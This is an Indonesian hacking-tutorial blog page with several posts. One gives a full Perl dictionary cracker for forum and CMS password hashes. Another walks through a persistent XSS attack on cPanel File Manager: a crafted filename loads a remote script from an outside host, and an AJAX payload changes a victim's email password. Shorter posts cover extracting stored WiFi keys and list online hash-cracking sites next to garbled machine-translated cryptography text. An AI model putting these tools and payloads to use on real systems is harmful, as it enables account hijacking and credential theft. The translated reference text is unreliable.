HXHACKER-Hacker University

HxHacker berisi tentang Tutorial dan Artikel terkait dalam bilang Komputer (Hacking, Virus, dll).

Hacking

Tutorial Hacking dalam HxHacker berkaitan dengan celah keamanan pada sistem komputer.

Membuat Virus

Tutorial Pembuatan Virus dalam HxHacker adalah membuat virus dengan skirpt - skript yang terdapat pada sebuah virus sehingga menjadi virus baru.

Tampilkan postingan dengan label Seni Hacking (Level Menengah). Tampilkan semua postingan
Tampilkan postingan dengan label Seni Hacking (Level Menengah). Tampilkan semua postingan

Selasa, 24 April 2012

Hack Password WiFi

Ketika seseorang memasukan password WiFi ke sebuah komputer, password tersebut akan tersimpan secara otomatis dalam format XML (Extensible Markup Language). Password tersimpan dalam file tersebut dengan bahasa hexadesimal, tepatnya di C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces. Untuk menerjemahkannya anda perlu aplikasi WirelessKeyView.

Untuk mendownload Aplikasi tersebut klik disini.


 Aplikasi tersebut akan menerjemahkan file WEP, WPA, dan WPA2. Alikasi ini dapat membuat laporan password dalam bentuk HTML.


__________________________________________________________________




Zeke hack {Trickster}

Selasa, 06 Desember 2011

Multiple CMS Hash Cracker

Berikut ini adalah source untuk MD5/SHA-1 Cracker yang dibuat untuk Crack Content Management System Hash seperti Joomla, WordPress, Drupal, Dsb.


#!usr/bin/perl
use Digest::MD5 qw(md5_hex);
use Digest::SHA1 qw(sha1_hex);

# Author: localh0t
# Date: 09/06/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch

# Help

if(!$ARGV[7])
{
print “\n\n###########################################”;
print “\n# Multi CMS Hash Cracker v0.1 by localh0t #”;
print “\n###########################################”;
print “\n\nUse: perl $0 -d [WORLDLIST FOLDER] -h [MD5 | SHA-1 HASH] -s [SALT | USERNAME] -c [CMS]\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h caef8544a8e65e23f67ab844d4866e8d -s uZ*qX -c IPB\n”;
print “Example: perl $0 -d /home/localh0t/wordlists/ -h dc4a27b25e3f780b89c165f931d6f85d5bd6e33e -s Administrator -c SMF\n\n”;
print “Note: Worlists must end with .txt or .lst (or any extension)\n\n”;
print “Support:\n========\n”;
print “VB : md5_hex(md5_hex(password).salt) | (vBulletin)\n”;
print “SMF : sha1_hex(user.password) | (Simple Machines Forum)\n”;
print “IPB : md5_hex(md5_hex(salt).md5_hex(password)) | (Invision Power Board)\n”;
print “JOOMLA : md5_hex(password.salt) | (Joomla 1.x)\n\n”;
exit(0);
}

# Functions

sub ipb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($salt).md5_hex($password));
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

sub vb_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex(md5_hex($password).$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

sub smf_cracker{
my $hash = shift;
my $user = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = sha1_hex($user.$password);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

sub joomla_cracker{
my $hash = shift;
my $salt = shift;
my $dir = shift;
foreach $file (@FILES) {
open(DICT,” print “[!] Using $file…\n”;
foreach $password() {
$password=~s/\s|\n//;
chomp($password);
$cracked = md5_hex($password.$salt);
if ($cracked eq $hash) {
return “[+] Hash cracked !: $password\n\n”;
}
}
print “[!] Nothing found with $file…\n\n”;
}
return “\n[-] Password not found\n\n”;
}

my ($dir, $hash, $salt, $cms, $arg);

foreach $loop (@ARGV) {
for ($loop) {
/^-d$/ and do { $dir = $ARGV[($arg+1)]; last; };
/^-h$/ and do { $hash = $ARGV[($arg+1)]; last; };
/^-s$/ and do { $salt = $ARGV[($arg+1)]; last; };
/^-c$/ and do { $cms = $ARGV[($arg+1)]; last; };
}
$arg++;
}

# Main

print “\n[!] Cracking $hash with $salt as username/salt…\n\n”;

opendir(DIR, $dir) || die “\n[-] Folder not found\n\n”;

while($file = readdir(DIR)) {
if ($file ne ‘.’ and $file ne ‘..’) {
$FILES[$clean] = $file;
$clean++;
}
}

for ($cms) {
/^IPB$/ and do { $result = &ipb_cracker($hash,$salt,$dir); last; };
/^VB$/ and do { $result = &vb_cracker($hash,$salt,$dir); last; };
/^SMF$/ and do { $result = &smf_cracker($hash,$salt,$dir); last; };
/^JOOMLA$/ and do { $result = &joomla_cracker($hash,$salt,$dir); last; };
/^.$/ and do { print “[-] CMS not available\n”; exit(0); last; };
}

print $result;

# Exit

close(DICT);
closedir(DIR);
exit(0);

__END__



Cara Penggunaan:

1. Install Perl Di Komputer Anda, Dengan Mendownload Perl. Untuk Linux Biasanya Sudah Terinstall, Download Disini: http://www.activestate.com/activeperl/downloads
2. Simpan File Tersebut “cmsdir.pl“
3. Ikuti Langkah Berikut:

















__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----



Zeke hack {Trickster}

Jumat, 18 November 2011

Serangan Cpanel File Manager XSS

Cpanel adalah aplikasi pengelolaan hosting yang sangat vital karena dengan aplikasi ini seseorang bisa mengelola semua hal yang terkait dengan hosting antara lain website, email, kunci SSL dan PGP, mysql database, DNS, domain dan masih banyak lagi. Oleh karena itu sangat berbahaya bila account cpanel seseorang berhasil dibajak orang lain. Dalam artikel ini akan saya jelaskan salah satu serangan yang sangat berbahaya, yaitu XSS (Cross Site Scripting) pada File Manager Cpanel, serangan ini menyerang pengguna yang sedang login dalam cpanel, kemudian menjalankan script dengan hak yang sama dengan pemilik account cpanel. Vulnerability ini saya temukan di cpanel versi 11.24.4-CURRENT, diuji coba dengan browser Firefox 3.0.7.

CPanel File Manager










Cpanel terdiri dari berbagai macam aplikasi, salah satunya adalah file manager, yang berfungsi untuk mengelola file dalam account hosting. Dengan file manager, seorang pengguna bisa menghapus, membuat, mengedit file dalam file system.
File manager pada cpanel ada dua, yaitu “File Manager” dan “Legacy File Manager”. Perbedaan keduanya hanya pada soal tampilan saja. Legacy adalah versi dengan tampilan yang lebih sederhana dan tidak terlalu banyak menggunakan javascript. Namun dari sisi fungsi keduanya relatif sama, hanya ada penambahan fitur compress, ekstrak pada versi modernnya.
standard file manager










legacy file manager










Persistent XSS Attack by Crafting Malicious File Name
Kedua jenis file manager cpanel rentan terhadap serangan XSS. File manager cpanel tidak memfilter nama file yang ditampilkan di web sehingga attacker bisa menginjeksi script atau kode html dengan cara membuat file dengan nama yang mengandung kode html dan javascript.
Dilihat dari tingkat bahayanya, serangan pada Legacy File Manager lebih berbahaya karena hanya dengan melihat nama filenya saja malicious code yang dikirimkan attacker akan dieksekusi browser. Dalam file manager yang standard, cpanel berhasil memfilter karakter berbahaya dari nama file sehingga malicious code tidak dieksekusi dalam halaman daftar file. Namun, cpanel rupanya lupa untuk memfilter task delete, copy, move, code/html editor,compress, change permission. Agar malicious code attacker dieksekusi browser, korban harus memilih file tersebut dengan checkbox, kemudian melakukan salah satu diantara: delete,copy,move,edit,compress atau change permission.
Jadi jelas bahwa serangan xss ini lebih berbahaya pada Legacy File Manager, karena korban tidak perlu berbuat apa-apa lagi selain melihat daftar file dalam suatu folder. Oleh karena itu dalam artikel ini saya akan memfokuskan pembahasan pada serangan ke Legacy File Manager namun dengan exploit yang bisa bekerja di kedua jenis file manager.

Attacking Legacy File Manager (LFM)
Mari kita lihat bagaimana LGM menampilkan nama file dalam daftar file di web. Gambar di bawah ini menunjukkan bagaimana 2 file dalam suatu folder ditampilkan di web.
File list in legacy file manager










Ada dua file yang saya jadikan contoh di atas, yaitu:
src=notexist.jpg>
filenametestonly
Ada tiga hal yang bisa disimpulkan dari cara cpanel menampilkan nama file:
  1. Tiap nama file ditulis sebagai bagian dari URL pada query string dir=PATH&file=NAMAFILE. URL tersebut diapit oleh karakter double quote sehingga attacker harus menambahkan double quote . Kemudian harus diikuti juga dengan karakter > agar menutup tag sebelumnya dan tag selanjutnya dianggap tag yang terpisah.
  2. Bila nama file mengandung karakter double quote ("), maka akan diawali dengan backslash menjadi \". Ini akan menjadi masalah, sehingga attacker harus menghindari double quote dalam nama file agar serangannya berhasil. Double quote yang boleh dimasukkan hanya pada awal nama file seperti pada paragraf di atas.
  3. Tiap nama file akan ditampilkan sebanyak 3x. Ini tidak terlalu bermasalah, hanya fakta bahwa script yang diinjeksi attacker akan dieksekusi 3x oleh browser.
Batasan dalam pembuatan nama file oleh sistem operasi juga perlu diperhatikan. Contoh dalam artikel ini menggunakan cpanel di Linux sehingga batasan nama file yang dibolehkan mengikuti aturan Linux. Nama file di linux maksimum sepanjang 256 karakter. Karakter yang terlarang digunakan salah satunya adalah slash (/). Oleh karena itu attacker harus bisa membuat serangan dengan nama file tidak lebih dari 256 karakter dan tidak boleh mengandung karakter slash.

Attack using IMG tag to load external script
Karena batasan dari cpanel dan filesystem yang dijelaskan di atas, maka attacker harus membuat nama file seperti berikut ini:
  • Panjang maksimum 256 karakter.
  • Tidak mengandung karakter terlarang seperti slash dan double quote.
Karena tidak mungkin serangan yang efektif bisa dilancarkan bila hanya mengandalkan 256 karakter saja, attacker harus membuat browser me-load external script. Sayangnya penggunaan tag script tidak dimungkinkan karena tag ini menuntut digunakannya tag yang mengandung karakter slash.
Cara yang saya pakai agar browser mau meload script external adalah:
  1. Menginjeksi javascript dalam tag img
  2. Javascript dalam tag img melakukan document.write() yang isinya adalah tag script dengan atribut src dari url luar.
Saya memilih menggunakan tag IMG karena tag ini sifatnya tunggal, tidak perlu ditutup dengan tag . Bagaimana caranya tag img bisa mengeksekusi javascript?
Awalnya saya mencoba memasukkan javascript dalam atribut SRC, namun ternyata cara ini tidak berlaku di firefox. Kemudian saya coba letakkan script dalam atribut onError, yang artinya bila image dalam tag img ini gagal diload, maka script dalam atribut onError akan dieksekusi. Dengan cara ini maka agar script dalam onError selalu dieksekusi, maka saya harus membuat image selalu gagal diload. Itu mudah saya hanya perlu mengosongkan atribut SRC, sehingga img selalu gagal loading dan artinya script selalu dieksekusi. Cara ini berhasil di Firefox dan Internet Explorer, saya belum coba untuk browser lainnya.
Ada satu masalah lagi, yaitu bagaimana cara menghindari penggunaan karakter slash dalam menyebutkan URL? URL berisi script biasanya dalam bentuk http://evilsite.com/path/file.js, sehingga minimal mengandung 3 karakter slash. Nantinya url ini akan dimasukkan dalam atribut SRC dalam tag script.
Namun tag script tidak langsung dituliskan dalam nama file, melainkan ditulis oleh javascript dalam tag img dengan fungsi document.write(). Fungsi document.write meminta masukan berupa string, yang nantinya akan kita isi dengan tag script. Karena masukannya berupa string, maka saya bisa pakai fungsi String.fromCharCode() untuk menghasilkan string dari kode ASCII.
URL external berisi script yang akan saya injeksikan adalah: http://zeke-hack.blogspot.com/x.js . Sehingga script dalam tag img harus membuat tag berikut dengan fungsi document.write():


<script src="http://zeke-hack.blogspot.com/x.js">
</script>



Deretan angka pada fungi String.fromCharCode adalah kode ASCII dari masing-masing karakter dari script tag yang akan meload external script. Javascript tersebut harus dimasukkan ke dalam atribut onError dari tag img. Jadi tag img yang akan dipakai untuk meload external javascript adalah berikut ini:

Perhatikan bahwa tag img tersebut terlihat sebagai bagian dari atribut href dari tag A sehingga browser tidak menganggap ada tag image. Agar attacker bisa menginjeksi tag img dengan benar, maka tag A yang melingkupi harus ditutup dulu. Cara menutupnya adalah dengan menambahkan dua karakter: “>

Gambar di atas adalah penjelasan mengapa diperlukan double quote dan > di awal. Dalam gambar diberikan 3 contoh, dari nama file yang normal, kemudian nama file dengan tag img, dan terakhir diawali dengan double quote dan greater than (“>). Nama file tanpa diawali “> akan menjadi bagian dari atribut href dari tag A, namun bila diawali dengan “> maka karakter sesudah 2 karakter itu sudah bukan bagian dari tag A.
Jadi sesuai penjelasan di atas, nama file yang akan dijadikan serangan harus diawali dengan “> sehingga nama file akhir yang harus dibuat untuk melakukan serangan adalah:








Dalam gambar di atas saya menunjukkan cara membuat file dengan nama yang mengandung tag img dari console Linux. Membuat file bisa juga dilakukan dengan upload file bila di web tersebut memberikan kebebasan penggunanya untuk upload misal untuk gambar profil atau album foto. Setelah file yang namanya mengandung exploit xss dibuat, maka berikutnya bila seseorang membuka cpanel dan melihat daftar file dalam folder tempat exploit xss berada, maka script attacker akan dieksekusi browser, secara otomatis, tanpa perlu pengguna berbuat sesuatu lagi.






Attacking (Standard) File Manager
Exploit yang saya jelaskan untuk LFM bisa juga dipakai untuk standard file manager. Hanya saja bedanya script yang diinjeksi attacker hanya bisa dieksekusi bila korban memilih file tersebut lalu melakukan: delete,edit,rename,copy,move,compress,change permission. Bila korban memakai standard file manager, kemungkinan code dieksekusi tidak sebesar pada LFM. Exploit yang sama bila dilihat dengan standard file manager seperti pada gambar berikut:
file list not vulnerable


Memang file list tidak vulnerable, namun bila korban memilih file tersebut, kemudian memilih salah satu diantara: delete,copy,move,rename,change permission,compress, maka script akan dieksekusi seperti pada gambar berikut:
remote script executed



Remote Attack Scenario
Mungkin anda mengira serangan ini hanya bisa dilancarkan secara lokal, setidaknya harus memiliki akses membuat file. Sebenarnya serangan ini bisa dilancarkan secara remote. Salah satu skenario yang mungkin adalah:
Pada web dengan fitur album foto memungkinkan pengguna untuk upload gambar. Attacker bisa melancarkan serangan ini secara remote dengan upload file gambar dengan malicious file name, kemudian menunggu owner website browsing dengan Cpanel File Manager. Ketika cpanel file manager menampilkan file dengan malicious name ke browser owner…Boom! Ranjau diinjak korban, script attacker akan dieksekusi.

Example Payload: Changing Victim Email Address

Setelah berhasil membuat browser mengeksekusi remote script, kini saya bebas mengisi script dengan apa pun yang saya inginkan. Dalam artikel ini saya akan memberi contoh script untuk mengubah password email korban dengan menggunakan fungsi AJAX.
Form untuk mengubah password email tidak memerlukan current password, pengguna hanya perlu memasukkan password baru saja. Oleh karena itu saya bisa membuat script yang melakukan submit form tersebut. Script untuk mengubah password email korban adalah:


var http_request = false; function makePOSTRequest(url, parameters) { http_request = false; if (window.XMLHttpRequest) { // Mozilla, Safari,... http_request = new XMLHttpRequest(); if (http_request.overrideMimeType) { // set type accordingly to anticipated content type //http_request.overrideMimeType('text/xml'); http_request.overrideMimeType('text/html'); } } else if (window.ActiveXObject) { // IE try { http_request = new ActiveXObject("Msxml2.XMLHTTP"); } catch (e) { try { http_request = new ActiveXObject("Microsoft.XMLHTTP"); } catch (e) {} } } if (!http_request) { alert('Cannot create XMLHTTP instance'); return false; } http_request.onreadystatechange = alertContents; http_request.open('POST', url, true); http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); http_request.setRequestHeader("Content-length", parameters.length); http_request.setRequestHeader("Connection", "close"); http_request.send(parameters); } function alertContents() { if (http_request.readyState == 4) { if (http_request.status == 200) { //alert(http_request.responseText); result = http_request.responseText; alert(result); } else { alert('There was a problem with the request.'); } } } var poststr = "quota=" + encodeURI("250") + "&password2=" + encodeURI("newpassword") + "&password=" + encodeURI("newpassword") + "&email=" + encodeURI("testing") + "&domain=" + encodeURI("ilmuhacking.com" ); makePOSTRequest('/frontend/x3/mail/dopasswdpop.html', poststr);


 
Script di atas melakukan POST request dengan fungsi AJAX, ke URL /frontend/x3/mail/dopasswdpop.html bersama dengan POST data: quota (dalam mega byte), password, password2, email dan domain.
Masih banyak payload lain yang bisa dibuat antara lain membuat user mysql baru, mencuri private key PGP dsb. Semua yang bisa dilakukan korban ketika login cpanel, bisa juga dilakukan dengan exploit script xss.
__________________________________________________________________
----Gunakanlah Tutorial Dengan Bijak----



Zeke hack {Trickster}

Minggu, 06 November 2011

Tipe Hash dan Enkripsi (SQL Ijection)


Berikut ini adalah penjelasan Hash dan Enkipsi:


Hash adalah hasil enkripsi dari sebuah password atau informasi yang dianggap penting.
Enkripsi adalah proses mengamankan suatu informasi dengan membuat informasi tersebut tidak dapat dibaca tanpa bantuan pengetahuan khusus.

Ada beberapa tipe hash diantaranya :

1.MD4 (Message-Digest algortihm 4)
- MD4 dibuat oleh Ronald Rivest pada Oktober 1990, MD4 adalah hash function yang dipakai sebelum MD5, namun karena banyaknya kelemahan MD4 membuatnya diganti oleh MD5.
- panjang 16 bytes (32 karakter)
- contoh : 31d6cfe0d16ae931b73c59d7e0c089c0

2. MD5 (Message-Digest algortihm 5)
- MD5 di desain oleh Ronald Rivest pada tahun 1991 untuk menggantikan hash function sebelumnya, MD4. Pada tahun 1996 (http://id.wikipedia.org/wiki/MD5)
- digunakan di phpBB v2.x, Joomla versi dibawah 1.0.13 dan digunakan oleh beberapa CMS dan forum
- panjangnya 16 bytes (32 karakter)
- contoh : c4ca4238a0b923820dcc509a6f75849b

3. MD5($pass.$salt)
- Digunakan di WB News, Joomla versi 1.0.13 dan versi diatasnya
- panjang 16 bytes (32 karakter)
- hash yang satu ini dimulai dari hashnya duluan kemudian dilanjutkan oleh saltnya
- contoh : 6f04f0d75f6870858bae14ac0b6d9f73

4. MD5($salt.$pass)
- Digunakan di osCommerce, AEF, Gallery dan beberapa CMS lainnya
- panjang 16 bytes (32 karakter)
- hash yang satu ini dimulai dari saltnya duluan kemudian dilanjutkan oleh hashnya
- contoh : f190ce9ac8445d249747cab7be43f7d

5. md5(md5($pass).$salt)
- Digunakan di vBulletin, IceBB dan cms lainnya
- panjang 16 bytes (32 karakter)
- contoh : 6011527690eddca23580955c216b1fd2

6. MD5(WordPress)
- Digunakan di wordpress
- panjangnya 17 bytes (34 karakter)
- hashnya dimulai oleh tanda $P$ kemudian dilanjutkan oleh sebuah karakter (karakter yg paling sering dipakai adalah huruf “B”) kemudian dilanjutkan oleh saltnya (8 karakter yg disusun secara acak, dalam contoh ini saltnya adalah “12345678″) lalu dilanjutkan oleh hashnya
- contoh : $P$B123456780BhGFYSlUqGyE6ErKErL01

7. MD5(phpBB3)
- Digunakan di CMS phpBB 3.x.x
- panjangnya 17 bytes (34 karakter)
- hashnya oleh tanda $H$ lalu dilanjutkan oleh sebuah karakter (karakter yg paling sering dipakai adalah nomor “9″), kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) kemudian dilanjutkan oleh hashnya
- contoh : $H$9123456785DAERgALpsri.D9z3ht120

8. SHA-1(Secure Hash Algorithm)
- Diciptakan oleh National Institue of Standars and Technology atau U.S. Federal Information Processing Standard digunakan oleh beberapa CMS dan beberapa forum
- panjangnya 20 bytes (40 karakter)
- contoh : 356a192b7913b04c54574d18c28d46e6395428ab

9. SHA-256(Secure Hash Algorithm)
- hashnya dimulai oleh tanda $5$ kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) lalu dilanjutkan oleh karakter “$” kemudian dilanjutkan oleh hashnya
- panjang 55 karakter
- contoh : $5$12345678$jBWLgeYZbSvREnuBr5s3gp13vqi…
10. SHA-512(Secure Hash Algorithm)
- hashnya dimulai oleh tanda $6$ kemudian dilanjutkan dengan saltnya (8 karakter yg disusun secara acak, dalam contoh yg saya berikan saltnya adalah “12345678″) lalu dilanjutkan oleh karakter “$” kemudian dilanjutkan oleh hashnya
- panjang 98 karakter
- contoh : $6$12345678$U6Yv5E1lWn6mEESzKen42o6rbEm…

11. Base64
- algoritma yg berfungsi untuk encoding dan decoding suatu data ke dalam format ASCII. panjang maksimal 64 karakter hashnya terdiri dari A..Z, a..z dan 0..9, serta ditambah dengan dua karakter terakhir yang bersimbol yaitu + dan / serta satu buah karakter sama dengan “=”
- digunakan di beberapa forum dan CMS
- contoh : Y3liZXJfY3JpbWluYWw=

Situs untuk mengcrack hash:

http://www.md5decrypter.co.uk/ => decrypt MD5
http://www.md5decrypter.co.uk/sha1-decrypt.aspx => decrypt SHA1
http://base64-encoder-online.waraxe.us/ => decode/encode base64

Penjelasan

1.SHA-1

Dalam kriptografi, SHA-1 adalah sebuah fungsi has kriptografi yang dirancang oleh National Security Agency (NSA) dan diterbitkan oleh NIST sebagai US Federal Information Processing Standard . SHA singkatan dari Secure Hash Algorithm. Tiga SHA algoritma disusun berbeda dan dibedakan sebagai:

  • SHA-0
  • SHA-1
  • SHA-2

HA-1 menghasilkan 160-bit digest dari pesan dengan panjang maksimum (2 64-1) bit. SHA-1 adalah berdasarkan prinsip sama dengan yang digunakan oleh Ronald L. Rivest dari MIT dalam desain MD4 dan MD5 mencerna pesan algoritma, namun memiliki desain yang lebih konservatif.

Spesifikasi asli dari algoritma ini diterbitkan pada tahun 1993 sebagai Secure Hash Standard, FIPS PUB 180 standar lembaga pemerintah, oleh US NIST (Lembaga Nasional Standar dan Teknologi). Versi ini sekarang sering disebut sebagai SHA-0. Itu ditarik oleh NSA lama setelah publikasi dan telah digantikan oleh versi revisi, yang diterbitkan pada tahun 1995 dalam FIPS PUB 180-1 dan umumnya disebut sebagai SHA-1. SHA-1 berbeda dari SHA-0 hanya oleh rotasi bitwise tunggal dalam jadwal pesan yang fungsi kompresi , ini dilakukan, menurut NSA, untuk memperbaiki cacat dalam algoritma asli yang mengurangi keamanan kriptografi nya. Namun, NSA tidak memberikan penjelasan lebih lanjut atau mengidentifikasi cacat yang telah dikoreksi. Kelemahan yang kemudian dilaporkan di kedua-SHA 0 dan SHA-1. SHA-1 tampaknya memberikan resistensi yang lebih besar untuk serangan, mendukung pernyataan bahwa perubahan NSA meningkatkan keamanan.

2. X.509

Dalam kriptografi , X.509 adalah ITU-T standar untuk infrastruktur kunci publik (PKI) untuk single sign-on (SSO) dan Manajemen Privilege Infrastruktur (PMI). X.509 menentukan, antara lain, format standar untuk sertifikat kunci publik , daftar pencabutan sertifikat , atribut sertifikat , dan validasi algoritma jalur sertifikasi .

X.509 awalnya diterbitkan pada tanggal 3 Juli 1988 dan mulai bekerja sama dengan X.500 standar.. Ini mengasumsikan suatu sistem hirarkis yang ketat dari otoritas sertifikat (CA) untuk menerbitkan sertifikat Hal ini bertentangan dengan kepercayaan web model, seperti PGP , dan setiap orang (tidak hanya khusus CA) dapat mendaftar dan dengan demikian membuktikan keabsahan kunci sertifikat ‘orang lain. Versi 3 dari X.509 termasuk fleksibilitas untuk mendukung topologi lainnya seperti jembatan dan jerat ( RFC 4158 ). Hal ini dapat digunakan dalam peer-to-peer, OpenPGP -seperti web kepercayaan , tetapi jarang digunakan dengan cara yang pada tahun 2004. Sistem X.500 belum sepenuhnya dilaksanakan, dan IETF ‘s-Public Key Infrastructure (X.509), atau PKIX, kelompok kerja telah disesuaikan dengan standar organisasi yang lebih fleksibel dari Internet. Bahkan, istilah sertifikat X.509 biasanya mengacu pada IETF’s PKIX Sertifikat dan CRL Profil standar sertifikat X.509 v3, sebagaimana tercantum dalam RFC 5280 , sering disebut sebagai PKIX untuk Public Key Infrastructure (X.509).

Struktur sertifikat

Struktur dari X.509 v3 sertifikat digital adalah sebagai berikut:

  • Sertifikat
  • Versi
  • Nomor seri
  • Algoritma ID
  • Emiten
  • Keabsahan
  • Tidak Sebelum
  • Tidak Setelah
  • Subyek
  • Info Perihal Kunci Publik
  • Algoritma Kunci Publik
  • Subjek Kunci Publik
  • Emiten Unique Identifier (Opsional)
  • Subject Unique Identifier (Opsional)
  • Ekstensi (Opsional)
  • Algoritma Tandatangan Sertifikat
  • Sertifikat Signature

Penerbit dan pengidentifikasi unik subjek diperkenalkan dalam versi 2, Extensions dalam Versi 3. Namun demikian, jumlah Serial harus unik untuk setiap sertifikat yang diterbitkan oleh CA (sebagaimana disebutkan dalam RFC 2459 ).

3. RSA

Dalam kriptografi , RSA (yang berarti Rivest , Shamir dan Adleman yang pertama kali menggambarkannya umum) adalah algoritma untuk kriptografi kunci-publik [1] . Ini merupakan algoritma pertama yang diketahui cocok untuk menandatangani serta enkripsi, dan merupakan salah satu kemajuan besar pertama dalam kriptografi kunci publik. RSA secara luas digunakan dalam perdagangan elektronik protokol, dan diyakini aman diberikan cukup panjang kunci dan penggunaan mutakhir implementasi up.

Operasi

Algoritma RSA melibatkan tiga langkah:

  • Generasi kunci,
  • Enkripsi
  • Dekripsi.

4. Cast-128

Dalam kriptografi , Cast-128 (alternatif CAST5) adalah cipher blok yang digunakan dalam sejumlah produk, terutama sebagai standar cipher dalam beberapa versi GPG dan PGP. Algoritma ini didirikan pada 1996 oleh Carlisle Adams dan Stafford Tavares dengan menggunakan prosedur desain Cast; anggota lain dari keluarga Cast dari cipher, Cast-256 (mantan AES kandidat) diturunkan dari Cast-128. Menurut beberapa sumber, nama Cast berdasarkan inisial dari penemu nya, meskipun Bruce Schneier penulis laporan klaim bahwa “nama harus menyulap gambar acak” (Schneier, 1996).

Cast-128 adalah 12 – atau 16-bulat Feistel jaringan dengan 64 – bit ukuran blok dan ukuran kunci antara 40-128 bit (tapi hanya di-bit bertahap 8). 16 ronde penuh digunakan ketika ukuran kunci lebih panjang dari 80 bit. Komponen termasuk besar 8 × 32-bit kotak S berdasarkan fungsi membungkuk , tergantung pada rotasi kunci, modular penambahan dan pengurangan, dan XOR operasi. Terdapat tiga jenis fungsi bolak bulat, tetapi mereka adalah sama dalam struktur dan berbeda hanya dalam pilihan operasi yang tepat (penambahan, pengurangan atau XOR) pada berbagai titik. Meskipun Penitipan memegang paten pada prosedur desain Cast, Cast-128 tersedia di seluruh dunia pada dasar bebas royalti untuk dan non-komersial menggunakan komersial.

5. Enkripsi ElGamal

Pada kriptografi , sistem enkripsi ElGamal adalah suatu algoritma enkripsi kunci asimetris untuk kriptografi kunci-publik yang didasarkan pada perjanjian-kunci Diffie Hellman . ElGamal enkripsi yang digunakan dalam bebas GNU Privacy Guard perangkat lunak, versi terbaru PGP , dan lainnya algoritma. The Digital Signature Algorithm adalah varian dari skema tanda tangan ElGamal , yang tidak harus bingung dengan enkripsi ElGamal. Enkripsi ElGamal dapat didefinisikan lebih dari setiap grup siklik G. Its keamanan tergantung pada kesulitan masalah tertentu dalam G berhubungan dengan komputasi logaritma diskrit.

Enkripsi ElGamal terdiri dari tiga komponen:

  • Generator kunci
  • Algoritma enkripsi,
  • Algoritma dekripsi.

6. MD5

Dalam kriptografi , MD5 (Message-Digest algorithm 5) banyak digunakan adalah fungsi hash kriptografi dengan 128 – bit nilai hash. Ditentukan dalam RFC 1321 , MD5 telah digunakan dalam berbagai jenis aplikasi keamanan, dan juga sering digunakan untuk memeriksa integritas file . Namun, telah terbukti bahwa MD5 tidak tabrakan tahan ; seperti itu, MD5 tidak cocok untuk aplikasi seperti SSL sertifikat atau signature digital yang bergantung pada properti ini. Sebuah hash MD5 biasanya dinyatakan sebagai 32-digit heksadesimal nomor.

MD5 adalah salah satu dari serangkaian pesan mencerna algoritma didesain oleh Profesor Ronald Rivest dari MIT (Rivest, 1994). Ketika pekerjaan analitik menunjukkan bahwa pendahulu MD5′s MD4 itu mungkin tidak aman, MD5 dirancang pada tahun 1991 untuk menjadi pengganti aman. (Kelemahan memang kemudian ditemukan di MD4 oleh Hans Dobbertin .)

Keamanan fungsi hash MD5 sangat dikompromikan. Sebuah serangan tabrakan ada yang bisa menemukan tabrakan dalam beberapa detik pada komputer biasa (kompleksitas dari 2 24,1). [14] Lebih jauh, ada juga serangan-awalan tabrakan dipilih yang dapat menghasilkan tabrakan dua dipilih berbeda masukan sewenang-wenang, dalam jam komputer reguler tunggal (kompleksitas 2 39).

Algoritma

Proses MD5 pesan variabel-panjang menjadi output tetap-panjang 128 bit. Pesan masukan dipecah menjadi potongan-bit blok 512 (enam belas 32-bit little endian integer); pesan empuk sehingga panjangnya dibagi oleh 512. padding bekerja sebagai berikut: bit tunggal pertama, 1, adalah ditambahkan ke bagian akhir pesan. Ini diikuti oleh sebanyak nol sebagai diwajibkan membawa panjang pesan sampai dengan 64 bit kurang dari kelipatan 512. Bit-bit sisa diisi dengan sebuah integer 64-bit yang mewakili panjang pesan asli, di bit.

Algoritma MD5 utama beroperasi pada kondisi 128-bit, dibagi menjadi empat-bit kata-kata 32, dilambangkan A, B, C dan D. Ini adalah untuk melakukan konstanta tetap tertentu. Algoritma utama kemudian beroperasi pada masing-masing blok pesan 512-bit pada gilirannya, setiap blok memodifikasi negara. Pengolahan blok pesan terdiri dari empat tahap yang sama, disebut putaran, setiap putaran terdiri dari 16 operasi serupa berdasar pada fungsi linear-non F, tambahan modular , dan rotasi ke kiri. Gambar 1 mengilustrasikan satu operasi dalam putaran. Ada empat kemungkinan fungsi F, berbeda yang digunakan dalam setiap putaran:

RC2/40

Dalam kriptografi , RC2 adalah cipher blok yang dirancang oleh Ron Rivest di 1987 . “RC” singkatan dari “Ron’s Code” atau “Rivest Cipher”; cipher lainnya yang dirancang oleh Rivest termasuk RC4 , RC5 dan RC6 .

Pengembangan RC2 disponsori oleh Lotus , yang sedang mencari kebiasaan sandi yang, setelah evaluasi oleh NSA , dapat diekspor sebagai bagian dari Lotus Notes perangkat lunak. NSA menyarankan beberapa perubahan, yang Rivest dimasukkan. Setelah negosiasi lebih lanjut, cipher telah disetujui untuk ekspor di 1989 . Seiring dengan RC4, RC2 dengan 40-bit ukuran kunci dirawat baik di bawah US peraturan ekspor untuk kriptografi .

